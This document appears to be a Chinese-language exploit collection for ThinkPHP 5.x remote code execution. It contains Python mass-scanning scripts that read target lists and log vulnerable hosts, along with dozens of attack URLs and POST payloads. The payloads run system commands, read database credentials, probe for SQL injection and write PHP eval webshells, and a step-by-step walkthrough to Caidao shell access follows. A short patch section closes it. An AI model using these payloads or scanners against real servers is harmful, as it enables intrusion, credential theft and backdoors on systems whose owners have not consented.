thinkPHP-RCE-POC
官方公告:
1、ThinkPHP5.*版本发布安全更新 · ThinkPHP官方博客 · 看云
2、ThinkPHP5.0.24版本发布——安全更新 · ThinkPHP官方博客 · 看云
POC:
批量检测
#!/usr/bin/env python
# -*- coding: utf-8 -*-
'''
name: thinkPHP远程代码检测
description: ThinkPHP5 5.0.22/5.1.29 远程代码执行漏洞
'''
import re
import sys
import requests
import queue
import threading
from bs4 import BeautifulSoup
class thinkPHP_rce(threading.Thread):
def __init__(self, q):
threading.Thread.__init__(self)
self.q = q
def run(self):
while not self.q.empty():
url=self.q.get()
headers = {"User-Agent":"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50"}
payload = r"/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=PHPinfo&vars[1][]=1"
vulnurl = url + payload
try:
response = requests.get(vulnurl, headers=headers, timeout=3, verify=False, allow_redirects=False)
soup = BeautifulSoup(response.text,"lxml")
if 'PHP Version' in str(soup.text):
print ('[+] Remote code execution vulnerability exists at the target address')
print ('[+] Vulnerability url address ' + vulnurl)
with open('target.txt','a') as f1:
f1.write(vulnurl+'\n')
f1.close()
else:
print ('[-] There is no remote code execution vulnerability in the target address')
except:
print ('[!] Destination address cannot be connected')
def urlget():
with open('url.txt','r')as f:
urls=f.readlines()
for tmp in urls:
if '//' in tmp:
url=tmp.strip('\n')
urlList.append(url)
else:
url='http://'+tmp.strip('\n')
urlList.append(url)
return(urlList)
f.close()
if __name__=="__main__":
print('''----------------扫描开始-------------------
*Made by :tdcoming
*For More :https://t.zsxq.com/Ai2rj6E
*MY Heart :https://t.zsxq.com/A2FQFMN
_______ _ _
|__ __| | | (_)
| | __| | ___ ___ _ __ ___ _ _ __ __ _
| | / _` | / __|/ _ \ | '_ ` _ \ | || '_ \ / _` |
| || (_| || (__| (_) || | | | | || || | | || (_| |
|_| \__,_| \___|\___/ |_| |_| |_||_||_| |_| \__, |
__/ |
|___/
''')
urlList=[]
urlget()
threads = []
threads_count = 10
q=queue.Queue()
for url in urlList:
q.put(url)
for i in range(threads_count):
threads.append(thinkPHP_rce(q))
for i in threads:
i.start()
for i in threads:
i.join()
单个检测
#!/usr/bin/env python
# -*- coding: utf-8 -*-
'''
name: thinkPHP远程代码检测
description: ThinkPHP5 5.0.22/5.1.29 远程代码执行漏洞
'''
import sys
import requests
from bs4 import BeautifulSoup
class thinkPHP_rce(object):
def __init__(self):
pass
def run(self, url):
headers = {
"User-Agent": "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50"}
payloads = [
r"/thinkPHP/public/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=PHPinfo&vars[1][]=1",
r"/thinkPHP_5.0.22/public/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=PHPinfo&vars[1][]=1",
r"/thinkPHP5.0.22/public/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=PHPinfo&vars[1][]=1",
r"/thinkPHP5.1.29/public/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=PHPinfo&vars[1][]=1",
r"/thinkPHP_5.1.29/public/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=PHPinfo&vars[1][]=1"
]
for payload in payloads:
vulnurl = url + payload
try:
response = requests.get(vulnurl, headers=headers, timeout=3, verify=False, allow_redirects=False)
soup = BeautifulSoup(response.text, "lxml")
if 'PHP Version' in str(soup.text):
print('[+] Remote code execution vulnerability exists at the target address')
print('[+] Vulnerability url address ' + vulnurl)
break
else:
print('[-] There is no remote code execution vulnerability in the target address')
except Exception as e:
print('[!] Destination address cannot be connected')
print(str(e))
if __name__ == "__main__":
print('''----------------扫描开始-------------------
*Made by :tdcoming
*For More :https://t.zsxq.com/Ai2rj6E
*MY Heart :https://t.zsxq.com/A2FQFMN
_______ _ _
|__ __| | | (_)
| | __| | ___ ___ _ __ ___ _ _ __ __ _
| | / _` | / __|/ _ \ | '_ ` _ \ | || '_ \ / _` |
| || (_| || (__| (_) || | | | | || || | | || (_| |
|_| \__,_| \___|\___/ |_| |_| |_||_||_| |_| \__, |
__/ |
|___/
''')
#if len(sys.argv) != 2:
# sys.exit("\n [+] Usage: python %s http://x.x.x.x\n" % sys.argv[0])
#url = sys.argv[1]
url = "http://127.0.0.1"
thinkPHP_rce().run(url)
thinkPHP 5.0.22
1、http://192.168.1.1/thinkphp/public/?s=.|think\config/get&name=database.username
2、http://192.168.1.1/thinkphp/public/?s=.|think\config/get&name=database.password
3、http://url/to/thinkphp_5.0.22/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
4、http://url/to/thinkphp_5.0.22/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
thinkPHP 5
thinkPHP 5.0.21
6、http://localhost/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
7、http://localhost/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
thinkPHP 5.1.*
8、http://url/to/thinkphp5.1.29/?s=index/\think\Request/input&filter=phpinfo&data=1
9、http://url/to/thinkphp5.1.29/?s=index/\think\Request/input&filter=system&data=cmd
10、http://url/to/thinkphp5.1.29/?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E
11、http://url/to/thinkphp5.1.29/?s=index/\think\view\driver\Php/display&content=%3C?php%20phpinfo();?%3E
12、http://url/to/thinkphp5.1.29/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
13、http://url/to/thinkphp5.1.29/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cmd
14、http://url/to/thinkphp5.1.29/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
15、http://url/to/thinkphp5.1.29/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cmd
未知版本
16、?s=index/\think\module/action/param1/${@PHPinfo()}
17、?s=index/\think\Module/Action/Param/${@PHPinfo()}
18、?s=index/\think/module/aciton/param1/${@print(THINK_VERSION)}
19、index.PHP?s=/home/article/view_recent/name/1'
header = "X-Forwarded-For:1') and extractvalue(1, concat(0x5c,(select md5(233))))#"
20、index.PHP?s=/home/shopcart/getPricetotal/tag/1%27
21、index.PHP?s=/home/shopcart/getpriceNum/id/1%27
22、index.PHP?s=/home/user/cut/id/1%27
23、index.PHP?s=/home/service/index/id/1%27
24、index.PHP?s=/home/pay/chongzhI/Orderid/1%27
25、index.PHP?s=/home/pay/index/orderid/1%27
26、index.PHP?s=/home/order/complete/id/1%27
27、index.PHP?s=/home/order/complete/id/1%27
28、index.PHP?s=/home/order/detail/id/1%27
29、index.PHP?s=/home/order/cancel/id/1%27
30、index.PHP?s=/home/pay/index/orderid/1%27)%20UNION%20ALL%20SELECT%20md5(233)--+
31、POST /index.PHP?s=/home/user/checkcode/ HTTP/1.1
Content-disposition: form-data; name="couponid"
1') union select sleep('''+str(sleep_time)+''')#
thinkPHP 5.0.23(完整版)debug模式
32、(post)public/index.PHP (data)_method=__construct&filter[]=system&server[REQUEST_METHOD]=touch%20/tmp/xxx
thinkPHP 5.0.23(完整版)
33、(post)public/index.PHP?s=captcha (data) _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls -al
thinkPHP 5.0.10(完整版)
34、(post)public/index.PHP?s=index/index/index (data)s=whoami&_method=__construct&method&filter[]=system
thinkPHP 5.1.* 和 5.2.* 和 5.0.*
35、(post)public/index.PHP (data)c=exec&f=calc.exe&_method=filter
一、漏洞描述
2018年12月10日,ThinkPHP官方发布了安全更新,其中修复了ThinkPHP5框架的一个高危漏洞: https://blog.thinkPHP.cn/869075
漏洞的原因是由于框架对控制器名没有进行足够的检测,导致在没有开启强制路由(默认未开启)的情况下可能导致远程代码执行,受影响的版本包括5.0和5.1。
二、漏洞影响版本
ThinkPHP 5.0.x<=5.0.23
三、漏洞复现
1、官网下载ThinkPHP 5.0.22,下载地址: 下载:ThinkPHP5.0.22完整版 - ThinkPHP框架
2、使用PHPstudy搭建环境,解压下载的ThinkPHP5.0.22到网站目录下,浏览器访问http://192.168.10.171/thinkPHP5.0.22/public
Payload如下:
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
Payload如下:
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=PHPinfo&vars[1][]=1
5、写入shell
Payload如下:
?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo ^<?PHP @eval($_POST[cmd]);?^> >shell.PHP
注意:需要对特殊字符使用^转义(cmd环境下转义方式),windows环境的echo命令输出字符串到文档不用引号(单引号、双引号),部分字符url编码不编码都行。
6、查看是否成功写入shell
7、菜刀连接
8、第二种的写入shell的方法
Payload如下:
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=../test.PHP&vars[1][]=<?PHP @eval($_POST[test]);?>
9、查看是否成功写入文件
10、菜刀连接
修复Thinkphp框架5.0和5.1版本的远程代码执行安全漏洞
5.0版本
thinkPHP/library/think/App.PHP 类的module方法的获取控制器的代码后面加上
if (!preg_match('/^[A-Za-z](\w|\.)*$/', $controller)) {
throw new HttpException(404, 'controller not exists:' . $controller);
}
5.1版本
thinkPHP/library/think/route/dispatch/Url.PHP 类的parseUrl方法,解析控制器后加上 添加
if ($controller && !preg_match('/^[A-Za-z](\w|\.)*$/', $controller)) {
throw new HttpException(404, 'controller not exists:' . $controller);
}